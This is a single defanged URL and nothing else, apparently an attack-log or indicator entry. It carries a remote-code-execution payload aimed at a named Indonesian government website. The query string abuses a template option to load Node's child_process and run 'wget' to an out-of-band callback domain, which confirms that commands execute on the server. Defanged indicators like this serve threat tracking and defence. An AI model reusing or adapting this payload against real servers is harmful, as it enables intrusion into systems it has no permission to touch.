hxxps://e-monev[.]komisiinformasi[.]go[.]id/?Express=aaaa&autoEscape&defaultFilter=e%27);var+require=global[.]require+%7C%7C+global[.]process[.]mainModule[.]constructor[.]_load;+require(%27child_process%27)[.]exec(%27wget%20hxxp://crqvtndndrlddrtaof8gwum9bmfyeo8nm[.]oast[.]live%27);